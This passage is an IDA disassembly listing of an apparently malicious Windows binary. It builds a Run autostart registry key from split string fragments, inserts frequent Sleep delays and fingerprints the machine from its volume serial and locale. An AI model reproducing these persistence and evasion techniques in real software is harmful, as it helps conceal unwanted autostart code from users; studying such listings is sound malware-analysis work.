10h lea ecx, [ebp-14h] call sub_4317AE and dword ptr [ebp-4], 0 push esi lea ecx, [ebp-14h] call sub_43179C push ecx lea eax, [ebp-14h] mov ecx, esp mov [ebp+0Ch], esp push eax call sub_431796 lea eax, [ebp-38h] mov ecx, ebx push eax call sub_422FB0 push eax lea ecx, [ebp-14h] mov byte ptr [ebp-4], 1 call sub_4317A8 and byte ptr [ebp-4], 0 lea ecx, [ebp-38h] call sub_4317A2 push dword ptr [ebp-14h] push esi call sub_4318B8 ; strcpy or dword ptr [ebp-4], 0FFFFFFFFh pop ecx pop ecx lea ecx, [ebp-14h] call sub_4317A2 loc_424734: ; CODE XREF: sub_424606+41j ; sub_424606+50j ... lea ecx, [ebp-10h] call sub_4317AE lea ecx, [ebp-24h] mov dword ptr [ebp-4], 2 call sub_4317AE cmp byte ptr [esi+12000h], 0 mov byte ptr [ebp-4], 3 jz loc_424826 lea edi, [ebx+20h] lea ecx, [ebp-24h] push edi call sub_4317A8 push offset dword_437258 lea eax, [ebp-2Ch] push edi push eax call sub_4317BA push eax lea ecx, [ebp-10h] mov byte ptr [ebp-4], 4 call sub_4317A8 lea ecx, [ebp-2Ch] mov byte ptr [ebp-4], 3 call sub_4317A2 push dword ptr [ebp-10h] call sub_4221DB test eax, eax pop ecx jz short loc_4247A9 push 1 push dword ptr [ebp-10h] call sub_421C92 pop ecx pop ecx loc_4247A9: ; CODE XREF: sub_424606+195j push dword ptr [edi] call sub_4221DB test eax, eax pop ecx jz short loc_4247C5 mov edi, [edi] push 1 push dword ptr [ebp-10h] push edi call sub_421D8A add esp, 0Ch loc_4247C5: ; CODE XREF: sub_424606+1ADj push 80000000h push 1 push ecx mov ecx, esp mov [ebp+0Ch], esp push offset byte_439CB0 call sub_43178A push ecx mov byte ptr [ebp-4], 5 mov ecx, esp mov [ebp-20h], esp push offset dword_43724C call sub_43178A lea ecx, [ebp-58h] mov byte ptr [ebp-4], 3 call sub_42692B push ecx lea eax, [esi+0E000h] mov ecx, esp mov [ebp+0Ch], esp push eax mov byte ptr [ebp-4], 6 call sub_43178A lea ecx, [ebp-58h] call sub_426DB8 lea ecx, [ebp-58h] mov byte ptr [ebp-4], 3 call sub_426ABF loc_424826: ; CODE XREF: sub_424606+150j push 2Ch call dword_4330E0 ; Sleep mov al, [esi+12000h] mov ecx, ebx push eax mov al, [esi+12004h] push dword ptr [esi+12008h] push eax mov al, [esi+12001h] push eax mov al, [esi+12002h] push eax lea eax, [esi+2000h] push eax lea eax, [esi+4000h] push eax lea eax, [esi-2000h] push esi push eax call sub_422ECA lea ecx, [ebp-18h] mov [ebp+0Fh], al call sub_4317AE lea eax, [esi+10000h] lea ecx, [ebp-18h] push eax mov byte ptr [ebp-4], 7 call sub_43179C lea eax, [ebp-18h] push offset dword_437248 push eax lea eax, [ebp-30h] push eax call sub_4317BA lea edi, [esi+0E000h] mov byte ptr [ebp-4], 8 push edi push eax lea eax, [ebp-34h] push eax call sub_4317BA push eax lea ecx, [ebp-18h] mov byte ptr [ebp-4], 9 call sub_4317A8 lea ecx, [ebp-34h] mov byte ptr [ebp-4], 8 call sub_4317A2 lea ecx, [ebp-30h] mov byte ptr [ebp-4], 7 call sub_4317A2 push ecx lea eax, [ebp-18h] mov ecx, esp mov [ebp-20h], esp push eax call sub_431796 mov ecx, ebx call sub_4259AE mov al, [esi+12000h] test al, al jz loc_4249E8 cmp byte ptr [ebp+0Fh], 0 jz short loc_424966 push 80000000h push 1 push ecx mov byte ptr [ebx+18h], 1 mov ecx, esp mov [ebp+0Ch], esp push offset byte_439CB0 call sub_43178A push ecx mov byte ptr [ebp-4], 0Ah mov ecx, esp mov [ebp-20h], esp push offset dword_43724C call sub_43178A lea ecx, [ebp-98h] mov byte ptr [ebp-4], 7 call sub_42692B push ecx mov byte ptr [ebp-4], 0Bh mov ecx, esp mov [ebp+0Ch], esp push edi call sub_43178A lea ecx, [ebp-98h] call sub_426DB8 mov byte ptr [ebp-4], 7 lea ecx, [ebp-98h] jmp short loc_4249E3 ; --------------------------------------------------------------------------- loc_424966: ; CODE XREF: sub_424606+2F9j test al, al jz short loc_4249E8 cmp byte ptr [ebp+0Fh], 0 jnz short loc_4249E8 push dword ptr [ebp-10h] call sub_4221DB test eax, eax pop ecx jz short loc_42498D push 1 push dword ptr [ebp-24h] push dword ptr [ebp-10h] call sub_421D8A add esp, 0Ch loc_42498D: ; CODE XREF: sub_424606+375j push 80000000h push 1 push ecx mov ecx, esp mov [ebp+0Ch], esp push offset byte_439CB0 call sub_43178A push ecx mov byte ptr [ebp-4], 0Ch mov ecx, esp mov [ebp-20h], esp push offset dword_43724C call sub_43178A lea ecx, [ebp-78h] mov byte ptr [ebp-4], 7 call sub_42692B push ecx mov byte ptr [ebp-4], 0Dh mov ecx, esp mov [ebp+0Ch], esp push ebx call sub_431796 lea ecx, [ebp-78h] call sub_426DB8 mov byte ptr [ebp-4], 7 lea ecx, [ebp-78h] loc_4249E3: ; CODE XREF: sub_424606+35Ej call sub_426ABF loc_4249E8: ; CODE XREF: sub_424606+2EFj ; sub_424606+362j ... lea ecx, [ebp-18h] mov byte ptr [ebp-4], 3 call sub_4317A2 lea ecx, [ebp-24h] mov byte ptr [ebp-4], 2 call sub_4317A2 or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp-10h] call sub_4317A2 add esi, 1400Ch dec dword ptr [ebp-28h] jnz loc_424640 loc_424A1B: ; CODE XREF: sub_424606+1Ej mov ecx, [ebp-0Ch] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx leave retn 8 sub_424606 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424A2E proc near ; CODE XREF: sub_422C48+123p var_12C = dword ptr -12Ch var_128 = byte ptr -128h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 12Ch push ebx push esi push edi push [ebp+arg_4] call sub_422199 pop ecx push [ebp+arg_4] call dword_433048 ; SetCurrentDirectoryA xor esi, esi push 2 push esi push [ebp+arg_0] call sub_43126B mov edi, eax lea eax, [ebp+var_12C] push eax push 0FFFFFFFFh push edi call sub_431338 mov ebx, [ebp+var_12C] add esp, 18h test ebx, ebx jle short loc_424A9F loc_424A77: ; CODE XREF: sub_424A2E+6Fj lea eax, [ebp+var_12C] push eax push esi push edi call sub_431338 push 2 lea eax, [ebp+var_128] push 0 push eax push esi push edi call sub_431620 add esp, 20h inc esi cmp esi, ebx jl short loc_424A77 loc_424A9F: ; CODE XREF: sub_424A2E+47j push edi call sub_43168B pop ecx pop edi pop esi mov al, 1 pop ebx leave retn 8 sub_424A2E endp ; =============== S U B R O U T I N E ======================================= sub_424AAF proc near ; CODE XREF: sub_422C48+DAp mov eax, offset loc_43211E call sub_4318CA ; _EH_prolog push ecx push ecx push ebx push esi xor ebx, ebx push 8 mov [ebp-4], ebx call sub_431784 pop ecx mov ecx, eax mov [ebp-14h], ecx cmp ecx, ebx mov byte ptr [ebp-4], 1 jz short loc_424AE0 call sub_421000 mov esi, eax jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424AE0: ; CODE XREF: sub_424AAF+26j xor esi, esi loc_424AE2: ; CODE XREF: sub_424AAF+2Fj mov ecx, esi mov [ebp-4], bl call sub_42103D lea eax, [ebp-10h] mov ecx, esi push eax push dword ptr [ebp+8] call sub_42146A mov ecx, esi call sub_4210DD cmp esi, ebx jz short loc_424B0D mov eax, [esi] push 1 mov ecx, esi call dword ptr [eax] loc_424B0D: ; CODE XREF: sub_424AAF+54j mov eax, [ebp+0Ch] cmp eax, [ebp-10h] jnz short loc_424B17 mov bl, 1 loc_424B17: ; CODE XREF: sub_424AAF+64j or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call sub_4317A2 mov ecx, [ebp-0Ch] mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn 8 sub_424AAF endp ; =============== S U B R O U T I N E ======================================= sub_424B35 proc near ; CODE XREF: sub_422C48+88p ; sub_422C48+1D2p ... arg_0 = byte ptr 4 lea ecx, [esp+arg_0] call sub_4317A2 retn 4 sub_424B35 endp ; =============== S U B R O U T I N E ======================================= sub_424B41 proc near ; CODE XREF: sub_422A1E+E9p mov eax, offset loc_432189 call sub_4318CA ; _EH_prolog sub esp, 3C8h push ebx push esi mov [ebp-20h], ecx xor esi, esi push edi lea ecx, [ebp-34h] mov [ebp-40h], esi call sub_4317AE lea ecx, [ebp-30h] mov [ebp-4], esi call sub_4317AE mov dx, ds:word_439CB4 xor eax, eax lea edi, [ebp-5Ah] mov [ebp-5Ch], dx stosd stosd stosd stosd stosw xor eax, eax lea edi, [ebp-66h] mov [ebp-68h], dx push 40h stosd stosd pop ecx xor eax, eax lea edi, [ebp-3D2h] mov [ebp-3D4h], dx rep stosd stosw xor eax, eax lea edi, [ebp-46h] mov [ebp-48h], dx push 40h stosw pop ecx lea edi, [ebp-1CAh] mov [ebp-1CCh], dx mov [ebp-18h], dx rep stosd stosw xor eax, eax lea edi, [ebp-16h] stosb lea edi, [ebp-1Ah] mov [ebp-1Ch], dx stosb lea edi, [ebp-12h] mov [ebp-14h], dx lea ecx, [ebp-44h] mov byte ptr [ebp-4], 1 stosb mov [ebp-2Ch], esi mov byte ptr [ebp-21h], 1 call sub_4317AE mov esi, dword_4330E0 push 20h mov byte ptr [ebp-4], 2 call esi ; Sleep mov edi, dword_4330CC lea eax, [ebp-2D0h] push offset a67f9158b ; "67F9158B" push eax call edi ; lstrcpyA push 2 call esi ; Sleep lea eax, [ebp-2D0h] push eax call dword_4330B4 ; lstrlenA mov ecx, [ebp-20h] push eax lea eax, [ebp-2D0h] push eax lea eax, [ebp-10h] push eax call sub_4230F8 push dword ptr [eax] lea eax, [ebp-3Ch] push eax call edi ; lstrcpyA lea ecx, [ebp-10h] call sub_4317A2 lea eax, [ebp-2D0h] push offset a39 ; "39" push eax call edi ; lstrcpyA push 1 call esi ; Sleep cmp byte ptr [ebp+0Ch], 0 mov ebx, dword_433074 jz short loc_424C9B lea eax, [ebp-2D0h] push eax call dword_4330B4 ; lstrlenA mov ecx, [ebp-20h] push eax lea eax, [ebp-2D0h] push eax lea eax, [ebp-10h] push eax call sub_4230F8 push dword ptr [eax] lea eax, [ebp-1CCh] push eax call ebx ; lstrcatA lea ecx, [ebp-10h] call sub_4317A2 loc_424C9B: ; CODE XREF: sub_424B41+124j lea eax, [ebp-3D4h] push 104h push eax call dword_4330D4 ; GetWindowsDirectoryA xor eax, eax mov [ebp-10h], eax jmp short loc_424CB7 ; --------------------------------------------------------------------------- loc_424CB4: ; CODE XREF: sub_424B41+18Bj mov eax, [ebp-10h] loc_424CB7: ; CODE XREF: sub_424B41+171j mov cl, [ebp+eax-3D4h] push eax mov [ebp+eax-48h], cl call esi ; Sleep inc dword ptr [ebp-10h] cmp dword ptr [ebp-10h], 3 jl short loc_424CB4 xor eax, eax lea ecx, [ebp-40h] push eax push eax push eax push eax push ecx push eax push eax lea eax, [ebp-48h] push eax call dword_4330B8 ; GetVolumeInformationA mov ecx, [ebp-20h] lea eax, [ebp-5Ch] push 10h push eax push dword ptr [ebp-40h] call sub_42527B lea eax, [ebp-2D0h] push offset a67f9198b ; "67F9198B" push eax call edi ; lstrcpyA push 2 call esi ; Sleep lea eax, [ebp-2D0h] push eax call dword_4330B4 ; lstrlenA mov ecx, [ebp-20h] push eax lea eax, [ebp-2D0h] push eax lea eax, [ebp-10h] push eax call sub_4230F8 push dword ptr [eax] lea eax, [ebp-3Ch] push eax call edi ; lstrcpyA lea ecx, [ebp-10h] call sub_4317A2 push dword ptr [ebp-40h] lea eax, [ebp-3Ch] push eax lea eax, [ebp-5Ch] push eax call dword_433298 ; wsprintfA add esp, 0Ch lea eax, [ebp-5Ch] push eax call dword_43329C ; CharUpperA lea eax, [ebp-5Ch] push eax lea eax, [ebp-1CCh] push eax call ebx ; lstrcatA lea eax, [ebp-2D0h] push offset a0a887397a5f240 ; "0A887397A5F240675EEF4D35019B6883A6FA5D6"... push eax call edi ; lstrcpyA push 20h call esi ; Sleep push 80000002h push 1 lea eax, [ebp-2D0h] push 0 push eax call dword_4330B4 ; lstrlenA push ecx mov ecx, esp mov [ebp-28h], esp push eax lea eax, [ebp-2D0h] push eax push ecx mov ecx, [ebp-20h] call sub_4230F8 lea ecx, [ebp-0C8h] call sub_426584 mov byte ptr [ebp-4], 3 lea ecx, [ebp-0C8h] call sub_426816 mov [ebp-28h], eax lea eax, [ebp-2D0h] push offset a67f9158b ; "67F9158B" push eax call edi ; lstrcpyA lea eax, [ebp-2D0h] push eax call dword_4330B4 ; lstrlenA mov ecx, [ebp-20h] push eax lea eax, [ebp-2D0h] push eax lea eax, [ebp-10h] push eax call sub_4230F8 push dword ptr [eax] lea eax, [ebp-3Ch] push eax call edi ; lstrcpyA lea ecx, [ebp-10h] call sub_4317A2 push dword ptr [ebp-28h] lea eax, [ebp-3Ch] push eax lea eax, [ebp-5Ch] push eax call dword_433298 ; wsprintfA add esp, 0Ch lea eax, [ebp-1CCh] push offset asc_437340 ; "-" push eax call ebx ; lstrcatA push 22h call esi ; Sleep lea eax, [ebp-5Ch] push eax lea eax, [ebp-1CCh] push eax call ebx ; lstrcatA call dword_4330BC ; GetSystemDefaultLCID push eax lea eax, [ebp-3Ch] push eax lea eax, [ebp-5Ch] push eax call dword_433298 ; wsprintfA add esp, 0Ch lea eax, [ebp-1CCh] push offset asc_437340 ; "-" push eax call ebx ; lstrcatA push 2 call esi ; Sleep lea eax, [ebp-5Ch] push eax lea eax, [ebp-1CCh] push eax call ebx ; lstrcatA lea eax, [ebp-2D0h] push offset a0a887397a5f2_0 ; "0A887397A5F240675EEF4D35019B6883A6FA5D6"... push eax call edi ; lstrcpyA push 1 call esi ; Sleep lea eax, [ebp-2D0h] push eax call dword_4330B4 ; lstrlenA mov ecx, [ebp-20h] push eax lea eax, [ebp-2D0h] push eax lea eax, [ebp-28h] push eax call sub_4230F8 push eax lea ecx, [ebp-44h] mov byte ptr [ebp-4], 4 call sub_4317A8 mov byte ptr [ebp-4], 3 lea ecx, [ebp-28h] call sub_4317A2 push 1 call esi ; Sleep push 80000002h push 1 push ecx mov ecx, esp mov [ebp-28h], esp push offset byte_439CB0 call sub_43178A push ecx lea eax, [ebp-44h] mov ecx, esp mov [ebp-10h], esp push eax mov byte ptr [ebp-4], 5 call sub_431796 lea ecx, [ebp-0A8h] mov byte ptr [ebp-4], 3 call sub_42692B lea eax, [ebp-10h] lea ecx, [ebp-0A8h] push eax mov byte ptr [ebp-4], 6 call sub_426D5C lea eax, [ebp-10h] lea ecx, [ebp-30h] push eax mov byte ptr [ebp-4], 7 call sub_4317A8 lea ecx, [ebp-10h] mov byte ptr [ebp-4], 6 call sub_4317A2 mov eax, [ebp-30h] mov eax, [eax-8] test eax, eax jg short loc_424F61 mov eax, [ebp-2Ch] mov ecx, [ebp-20h] push offset a000_0 ; "-000" and byte ptr [eax], 0 lea eax, [ebp-1CCh] push eax call sub_426496 push 1 call esi ; Sleep mov ecx, [ebp-20h] lea eax, [ebp-1CCh] push offset a000 ; "0-00" push eax call sub_426496 jmp loc_424FE9 ; --------------------------------------------------------------------------- loc_424F61: ; CODE XREF: sub_424B41+3E7j push eax lea ecx, [ebp-30h] call sub_4317D2 mov cl, [eax] mov [ebp-2Ch], eax mov [ebp-18h], cl mov cl, [eax+1] and byte ptr [ebp-16h], 0 mov [ebp-17h], cl mov cl, [eax+3] push offset asc_437340 ; "-" mov [ebp-1Ch], cl mov cl, [eax+4] and byte ptr [ebp-1Ah], 0 mov [ebp-1Bh], cl mov cl, [eax+6] mov [ebp-14h], cl mov al, [eax+7] and byte ptr [ebp-12h], 0 mov [ebp-13h], al lea eax, [ebp-1CCh] push eax call ebx ; lstrcatA lea eax, [ebp-18h] push eax lea eax, [ebp-1CCh] push eax call ebx ; lstrcatA lea eax, [ebp-1Ch] push eax lea eax, [ebp-1CCh] push eax call ebx ; lstrcatA lea eax, [ebp-1CCh] push offset asc_437340 ; "-" push eax call ebx ; lstrcatA lea eax, [ebp-14h] push eax lea eax, [ebp-1CCh] push eax call ebx ; lstrcatA push 0FFFFFFFFh lea ecx, [ebp-30h] call sub_4317CC loc_424FE9: ; CODE XREF: sub_424B41+41Bj lea eax, [ebp-2D0h] push offset a0a887397a5f2_1 ; "0A887397A5F240675EEF4D35019B6883A6FA5D6"... push eax call edi ; lstrcpyA push 21h call esi ; Sleep push 80000002h push 1 push ecx mov ecx, esp mov [ebp-28h], esp push offset byte_439CB0 call sub_43178A lea eax, [ebp-2D0h] mov byte ptr [ebp-4], 8 push eax call dword_4330B4 ; lstrlenA push ecx mov ecx, esp mov [ebp-10h], esp push eax lea eax, [ebp-2D0h] push eax push ecx mov ecx, [ebp-20h] call sub_4230F8 lea ecx, [ebp-88h] mov byte ptr [ebp-4], 6 call sub_42692B lea eax, [ebp-10h] lea ecx, [ebp-88h] push eax mov byte ptr [ebp-4], 9 call sub_426D5C lea eax, [ebp-10h] lea ecx, [ebp-34h] push eax mov byte ptr [ebp-4], 0Ah call sub_4317A8 lea ecx, [ebp-10h] mov byte ptr [ebp-4], 9 call sub_4317A2 mov eax, [ebp-34h] mov eax, [eax-8] test eax, eax mov [ebp-28h], eax jle loc_425113 push 1 call esi ; Sleep push dword ptr [ebp-28h] lea ecx, [ebp-34h] call sub_4317D2 mov [ebp-2Ch], eax mov al, [eax] push 1 mov [ebp-18h], al call esi ; Sleep mov eax, [ebp-2Ch] push 1 mov cl, [eax+1] and byte ptr [ebp-16h], 0 mov [ebp-17h], cl mov cl, [eax+3] mov [ebp-1Ch], cl mov cl, [eax+4] and byte ptr [ebp-1Ah], 0 mov [ebp-1Bh], cl mov al, [eax+6] mov [ebp-14h], al call esi ; Sleep mov eax, [ebp-2Ch] push 1 mov al, [eax+7] and byte ptr [ebp-12h], 0 mov [ebp-13h], al call esi ; Sleep lea eax, [ebp-18h] push eax lea eax, [ebp-1CCh] push eax call ebx ; lstrcatA push 1 call esi ; Sleep lea eax, [ebp-1Ch] push eax lea eax, [ebp-1CCh] push eax call ebx ; lstrcatA lea eax, [ebp-14h] push eax lea eax, [ebp-1CCh] push eax call ebx ; lstrcatA push 0FFFFFFFFh lea ecx, [ebp-34h] call sub_4317CC jmp short loc_42513E ; --------------------------------------------------------------------------- loc_425113: ; CODE XREF: sub_424B41+542j push 0 push dword ptr [ebp-2Ch] call edi ; lstrcpyA push 1 call esi ; Sleep lea eax, [ebp-1CCh] push offset a000_1 ; "000" push eax call ebx ; lstrcatA push 1 call esi ; Sleep lea eax, [ebp-1CCh] push offset a001 ; "001" push eax call ebx ; lstrcatA loc_42513E: ; CODE XREF: sub_424B41+5D0j lea eax, [ebp-68h] push 104h push eax push 5 push 400h call dword_4330C0 ; GetLocaleInfoA push 25h call esi ; Sleep mov ecx, [ebp-20h] lea eax, [ebp-68h] push eax call sub_42522A push eax lea eax, [ebp-3Ch] push eax lea eax, [ebp-5Ch] push eax call dword_433298 ; wsprintfA add esp, 0Ch push 1 call esi ; Sleep lea eax, [ebp-5Ch] push eax lea eax, [ebp-1CCh] push eax call ebx ; lstrcatA cmp byte ptr [ebp+0Ch], 0 jz short loc_42519B lea eax, [ebp-1CCh] push offset asc_437278 ; "}" push eax call ebx ; lstrcatA loc_42519B: ; CODE XREF: sub_424B41+64Aj lea eax, [ebp-1CCh] push eax push dword ptr [ebp+8] call edi ; lstrcpyA push dword ptr [ebp+8] call dword_4330B4 ; lstrlenA movzx ecx, byte ptr [ebp+0Ch] shl ecx, 1 sub eax, ecx cmp eax, 24h jz short loc_4251C1 and byte ptr [ebp-21h], 0 loc_4251C1: ; CODE XREF: sub_424B41+67Aj push 24h call esi ; Sleep lea ecx, [ebp-88h] mov byte ptr [ebp-4], 6 call sub_426ABF lea ecx, [ebp-0A8h] mov byte ptr [ebp-4], 3 call sub_426ABF lea ecx, [ebp-0C8h] mov byte ptr [ebp-4], 2 call sub_4266D6 lea ecx, [ebp-44h] mov byte ptr [ebp-4], 1 call sub_4317A2 and byte ptr [ebp-4], 0 lea ecx, [ebp-30h] call sub_4317A2 or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp-34h] call sub_4317A2 mov ecx, [ebp-0Ch] mov al, [ebp-21h] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 8 sub_424B41 endp ; =============== S U B R O U T I N E ======================================= sub_42522A proc near ; CODE XREF: sub_424B41+61Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi xor esi, esi xor dl, dl loc_425233: ; CODE XREF: sub_42522A+Fj cmp byte ptr [eax], 20h jnz short loc_42523B inc eax jmp short loc_425233 ; --------------------------------------------------------------------------- loc_42523B: ; CODE XREF: sub_42522A+Cj mov cl, [eax] cmp cl, 2Bh jz short loc_425249 cmp cl, 2Dh jnz short loc_42524A mov dl, 1 loc_425249: ; CODE XREF: sub_42522A+16j ; sub_42522A+3Aj inc eax loc_42524A: ; CODE XREF: sub_42522A+1Bj mov cl, [eax] test cl, cl jz short loc_425266 cmp cl, 30h jl short loc_425266 cmp cl, 39h jg short loc_425266 movsx ecx, cl lea esi, [esi+esi*4] lea esi, [ecx+esi*2-30h] jmp short loc_425249 ; --------------------------------------------------------------------------- loc_425266: ; CODE XREF: sub_42522A+24j ; sub_42522A+29j ... cmp dl, 1 jnz short loc_42526D neg esi loc_42526D: ; CODE XREF: sub_42522A+3Fj push 22h call dword_4330E0 ; Sleep mov eax, esi pop esi retn 4 sub_42522A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42527B proc near ; CODE XREF: sub_424B41+1AFp var_84 = byte ptr -84h var_83 = byte ptr -83h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 84h push ebx push esi push edi push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_83] push 1 rep stosd stosw stosb pop edi xor esi, esi push edi mov [ebp+var_4], esi call dword_4330E0 ; Sleep cmp [ebp+arg_0], esi mov ebx, [ebp+arg_4] jnz short loc_4252B7 dec [ebp+arg_8] mov byte ptr [ebx], 30h mov [ebp+var_4], edi loc_4252B7: ; CODE XREF: sub_42527B+31j and [ebp+var_84], 0 cmp [ebp+arg_0], 0 jz short loc_4252FB loc_4252C4: ; CODE XREF: sub_42527B+7Bj mov eax, [ebp+arg_0] push 0Ah xor edx, edx pop ecx div ecx lea edi, [ebp+esi+var_84] push 1 mov ebx, edx mov [edi], bl call dword_4330E0 ; Sleep mov eax, [ebp+arg_0] push 0Ah xor edx, edx pop ecx div ecx add bl, 30h inc esi mov [edi], bl test eax, eax mov [ebp+arg_0], eax jnz short loc_4252C4 mov ebx, [ebp+arg_4] loc_4252FB: ; CODE XREF: sub_42527B+47j mov ecx, [ebp+arg_8] cmp ecx, esi jle short loc_425323 sub ecx, esi lea edi, [ebp+esi+var_84] mov [ebp+arg_0], ecx mov edx, ecx mov eax, 30303030h shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 add esi, edx rep stosb loc_425323: ; CODE XREF: sub_42527B+85j dec esi js short loc_42533B loc_425326: ; CODE XREF: sub_42527B+BEj mov al, [ebp+esi+var_84] mov ecx, [ebp+var_4] dec esi inc [ebp+var_4] test esi, esi mov [ecx+ebx], al jge short loc_425326 loc_42533B: ; CODE XREF: sub_42527B+A9j mov eax, [ebp+var_4] push 7 and byte ptr [eax+ebx], 0 call dword_4330E0 ; Sleep pop edi mov eax, ebx pop esi pop ebx leave retn 0Ch sub_42527B endp ; =============== S U B R O U T I N E ======================================= sub_425353 proc near ; CODE XREF: sub_426022+198p mov eax, offset loc_4321E4 call sub_4318CA ; _EH_prolog sub esp, 38h push esi push edi mov edi, ecx lea ecx, [ebp-10h] mov dword ptr [ebp-4], 1 call sub_4317AE push offset aSoftwareMicros ; "SOFTWARE\\Microso" lea ecx, [ebp-10h] mov byte ptr [ebp-4], 2 call sub_43179C mov esi, dword_4330E0 push 22h call esi ; Sleep push offset aFtWindowsCurre ; "ft\\Windows\\Curren" lea ecx, [ebp-10h] call sub_4317D8 push 20h call esi ; Sleep push offset aTversionR ; "tVersion\\R" lea ecx, [ebp-10h] call sub_4317D8 push 20h call esi ; Sleep push offset aUnRu ; "un\\ru" lea ecx, [ebp-10h] call sub_4317D8 push 20h call esi ; Sleep push offset aNner1 ; "nner1" lea ecx, [ebp-10h] call sub_4317D8 push 80000002h push 1 push ecx mov ecx, esp mov [ebp-20h], esp push offset aDefaultvalue ; "defaultvalue" call sub_43178A push ecx lea eax, [ebp-10h] mov ecx, esp mov [ebp-1Ch], esp push eax mov byte ptr [ebp-4], 3 call sub_431796 lea ecx, [ebp-44h] mov byte ptr [ebp-4], 2 call sub_42692B lea ecx, [ebp-18h] mov byte ptr [ebp-4], 4 call sub_4317AE lea ecx, [ebp-14h] mov byte ptr [ebp-4], 5 call sub_4317AE lea eax, [ebp-1Ch] lea ecx, [ebp-44h] push eax mov byte ptr [ebp-4], 6 call sub_426D5C lea eax, [ebp-1Ch] lea ecx, [ebp-18h] push eax mov byte ptr [ebp-4], 7 call sub_4317A8 lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 6 call sub_4317A2 lea eax, [ebp+8] push offset asc_4373C8 ; " " push eax lea eax, [ebp-20h] push eax call sub_4317BA lea ecx, [ebp+0Ch] mov byte ptr [ebp-4], 8 push ecx push eax lea eax, [ebp-1Ch] push eax call sub_4317B4 push eax lea ecx, [ebp-14h] mov byte ptr [ebp-4], 9 call sub_4317A8 lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 8 call sub_4317A2 lea ecx, [ebp-20h] mov byte ptr [ebp-4], 6 call sub_4317A2 push dword ptr [ebp-14h] push dword ptr [ebp-18h] call dword_4331EC ; _mbscmp pop ecx test eax, eax pop ecx jz short loc_4254BA push ecx lea eax, [ebp-14h] mov ecx, esp mov [ebp-24h], esp push eax call sub_431796 lea ecx, [ebp-44h] call sub_426DB8 loc_4254BA: ; CODE XREF: sub_425353+14Ej push ecx lea eax, [ebp+0Ch] mov ecx, esp mov [ebp-24h], esp push eax call sub_431796 mov ecx, edi call sub_425B2E lea ecx, [ebp-14h] mov byte ptr [ebp-4], 5 call sub_4317A2 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 4 call sub_4317A2 lea ecx, [ebp-44h] mov byte ptr [ebp-4], 2 call sub_426ABF lea ecx, [ebp-10h] mov byte ptr [ebp-4], 1 call sub_4317A2 and byte ptr [ebp-4], 0 lea ecx, [ebp+8] call sub_4317A2 or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+0Ch] call sub_4317A2 mov ecx, [ebp-0Ch] pop edi mov al, 1 mov large fs:0, ecx pop esi leave retn 8 sub_425353 endp ; =============== S U B R O U T I N E ======================================= sub_42552A proc near ; CODE XREF: sub_42852F+17Dp mov eax, offset loc_43222F call sub_4318CA ; _EH_prolog sub esp, 34h and dword ptr [ebp-1Ch], 0 push ebx push esi lea ecx, [ebp-10h] call sub_4317AE push 1 lea ecx, [ebp-10h] pop ebx push offset aWr ; "WR" mov [ebp-4], ebx call sub_43179C mov esi, dword_4330E0 push 22h call esi ; Sleep push offset dword_437130 lea ecx, [ebp-10h] call sub_4317D8 push 21h call esi ; Sleep push offset aConfi ; "confi" lea ecx, [ebp-10h] call sub_4317D8 push 21h call esi ; Sleep push offset aGversion ; "gversion" lea ecx, [ebp-10h] call sub_4317D8 push 80000000h push ebx push ecx mov ecx, esp mov [ebp-18h], esp push offset byte_439CB0 call sub_43178A push ecx lea eax, [ebp-10h] mov ecx, esp mov [ebp-20h], esp push eax mov byte ptr [ebp-4], 2 call sub_431796 lea ecx, [ebp-40h] mov [ebp-4], bl call sub_42692B lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_4317AE lea eax, [ebp-18h] lea ecx, [ebp-40h] push eax mov byte ptr [ebp-4], 4 call sub_426D5C lea eax, [ebp-18h] lea ecx, [ebp-14h] push eax mov byte ptr [ebp-4], 5 call sub_4317A8 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 4 call sub_4317A2 mov ecx, [ebp+8] lea eax, [ebp-14h] push eax call sub_431796 mov [ebp-1Ch], ebx lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_4317A2 lea ecx, [ebp-40h] mov [ebp-4], bl call sub_426ABF and byte ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_4317A2 mov eax, [ebp+8] mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_42552A endp ; =============== S U B R O U T I N E ======================================= sub_425642 proc near ; CODE XREF: sub_42948F+6Ep ; sub_42948F+12Bp ... mov eax, offset loc_43224C call sub_4318CA ; _EH_prolog sub esp, 28h push esi push edi lea ecx, [ebp-10h] call sub_4317AE and dword ptr [ebp-4], 0 push offset aWr ; "WR" lea ecx, [ebp-10h] call sub_43179C mov esi, dword_4330E0 push 20h pop edi push edi call esi ; Sleep push offset dword_437130 lea ecx, [ebp-10h] call sub_4317D8 push edi call esi ; Sleep push offset aNex ; "nex" lea ecx, [ebp-10h] call sub_4317D8 push edi call esi ; Sleep push offset aTup ; "tup" lea ecx, [ebp-10h] call sub_4317D8 push edi call esi ; Sleep push offset aDate ; "date" lea ecx, [ebp-10h] call sub_4317D8 push 80000000h push 1 push 0 push ecx lea eax, [ebp-10h] mov ecx, esp mov [ebp-14h], esp push eax call sub_431796 lea ecx, [ebp-34h] call sub_426584 lea ecx, [ebp-34h] mov byte ptr [ebp-4], 1 call sub_426816 mov edi, [ebp+8] mov esi, eax test edi, edi jle short loc_4256FB lea eax, [ebp+8] push eax call 